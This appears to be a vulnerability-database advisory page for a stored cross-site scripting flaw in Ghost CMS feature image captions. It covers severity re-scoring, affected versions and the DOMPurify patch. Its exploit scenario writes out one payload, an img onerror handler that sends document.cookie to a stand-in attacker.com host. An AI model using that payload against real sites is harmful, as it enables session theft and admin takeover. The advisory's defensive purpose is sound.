Skip to main content

Ghost CMS EUVDEUVD-2026-53391

| CVE-2026-70596 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-05 https://github.com/TryGhost/Ghost GHSA-pr22-p9rp-2cqv
4.3
CVSS 3.1 · Vendor: https://github.com/TryGhost/Ghost
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker authenticates as Ghost staff user
  2. Delivery
    Craft post with XSS payload in feature image caption field
  3. Exploit
    Victim staff or admin opens post revision history modal in Ghost Admin
  4. Execution
    Unsanitized caption executes attacker's JavaScript in victim's browser
  5. Persist
    Session token or admin credentials exfiltrated to attacker
  6. Impact
    Attacker assumes victim's Ghost Admin session with elevated privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold at least a staff-level authenticated account in the target Ghost installation (Author, Editor, or equivalent role with post-creation capability). The victim must be another authenticated Ghost Admin user (staff or administrator) who opens the post revision/history modal for the attacker's crafted post - this is the UI:R requirement. The XSS payload is specifically triggered in the feature image caption rendering path of the post history modal (modal-post-history.js) and the frontend proxy's SafeString rendering of feature_image_caption. Exploitation is limited to Ghost Admin's internal staff interface; it does not affect public-facing Ghost site visitors. No special server configuration is required beyond a multi-user Ghost installation where staff roles are granted to users of differing trust levels.

Impact

The vendor-assigned CVSS 4.3 (Medium) with vector AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L is conservative and potentially misleading on two counts. First, PR:H implies the attacker needs high privilege, but the description specifies 'any staff user' - in Ghost's role hierarchy, staff roles (Author, Editor) sit below Administrator, so PR:L is more accurate. Second, a successful session hijack grants the attacker full control of the victim's Ghost Admin session including administrator access, which maps to C:H/I:H rather than C:L/I:L. No EPSS score was provided in the input data, and KEV status is not confirmed. No public exploit code has been identified. Real-world risk is bounded by the requirement that: (1) the attacker holds at least a staff-level Ghost account, and (2) a victim staff/admin user must actively open the post revision history modal. For organizations running Ghost with multiple staff users of varying privilege levels - especially in self-hosted or Docker-based deployments - this represents a meaningful lateral/vertical escalation vector despite the low base score.

Exploit ScenarioDerived

An attacker with a Ghost staff (Author or Editor) account crafts a post and sets the feature image caption to a JavaScript payload such as <img src=x onerror='document.location="https://attacker.com/steal?c="+document.cookie'>. When a higher-privileged staff user or administrator opens the post revision history modal in Ghost Admin, the unsanitized caption executes in their browser, exfiltrating the session cookie or performing actions as the victim. No public proof-of-concept exploit has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Stored cross-site scripting in Ghost CMS feature image captions enables any authenticated staff user to inject unsanitized HTML into the post revision history modal, hijacking the Ghost Admin session of another staff or administrator user who views that revision. Affects Ghost npm package versions v4.9.0 through v6.54.0. No public exploit identified at time of analysis and not listed in CISA KEV, but the privilege escalation potential - a lower-privileged staff member compromising a full administrator session - makes this higher-impact than the CVSS 4.3 score implies for multi-tenant or shared Ghost Admin environments.

RemediationAI

Upgrade Ghost to v6.54.1 immediately. For Docker-based deployments, update the official Ghost Docker image (https://hub.docker.com/_/ghost) following the Docker update procedure documented at https://docs.ghost.org/install/docker#updating-ghost. For Ghost-CLI installations, follow the update guide at https://docs.ghost.org/update. The patch (PR #29635) applies DOMPurify sanitization to the feature_image_caption field at both the Ember Admin frontend revision modal and the server-side frontend proxy, so both rendering surfaces are remediated in v6.54.1. If immediate upgrade is not possible, a compensating control is to restrict the Ghost staff role to only fully trusted users, preventing untrusted staff from authoring posts - note this has significant operational trade-offs as it limits who can publish content. There is no configuration flag to disable feature image captions without code modification.

Affected VersionsENISA

Ghost 4.9.0, < 6.54.1

Affected Packages

npm ghost fix: 6.54.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Ghost CMS (pkg:npm/ghost) is an open-source Node.js publishing platform. The vulnerability originates in the Ember.js-based Ghost Admin frontend, specifically in the post history/revision modal component (apps/ember-admin/app/components/modal-post-history.js). The feature_image_caption field on posts was retrieved from the revision list and passed directly into a SafeString rendering context without HTML sanitization, allowing arbitrary HTML and JavaScript to execute in any staff user's browser that opened the revision modal. The same unsanitized caption was also rendered through the frontend proxy service (ghost/core/core/frontend/services/proxy.js). The fix (PR #29635, commit a8bea3a) introduces DOMPurify with a strict allowlist (a, b, i, span tags; href, style attributes only; data and ARIA attributes explicitly blocked) at both rendering sites. Additionally, the importer's json-to-html.js received URL validation hardening to block non-http/https protocols. CWE-79 (Improper Neutralization of Input During Web Page Generation) is the confirmed root cause class.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/TryGhost/Ghost) PRIMARY 4.3 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
vuln.today AI 7.3 HIGH

PR:L because any staff role (not admin) can exploit; C:H/I:H because session hijack grants full admin account control; A:N as XSS has no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/TryGhost/Ghost).

CVSS VectorVendor: https://github.com/TryGhost/Ghost

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

DescriptionCVE.org

Impact

An input validation issue allowed any staff user to create a post with content that could be used to hijack another staff user's Ghost Admin session resulting in privilege escalation.

Vulnerable versions

This vulnerability is present in Ghost from v4.9.0 up to v6.54.0.

Patches

v6.54.1 contains a fix for this issue.

How to update

For self-hosters using Docker, find Docker's official Ghost image here. Updating a Docker-based Ghost instance is documented here.

If your Ghost is a Ghost-CLI install see our documentation on updating it to the latest version here.

References

Ghost thanks Versa for disclosing this vulnerability responsibly.

For more information

If you have any questions or comments about this advisory, email Ghost at [security@ghost.org](mailto:security@ghost.org).

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Medium
popular self-hosted Node.js CMS with significant but non-ubiquitous deployment
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

22
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +22
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy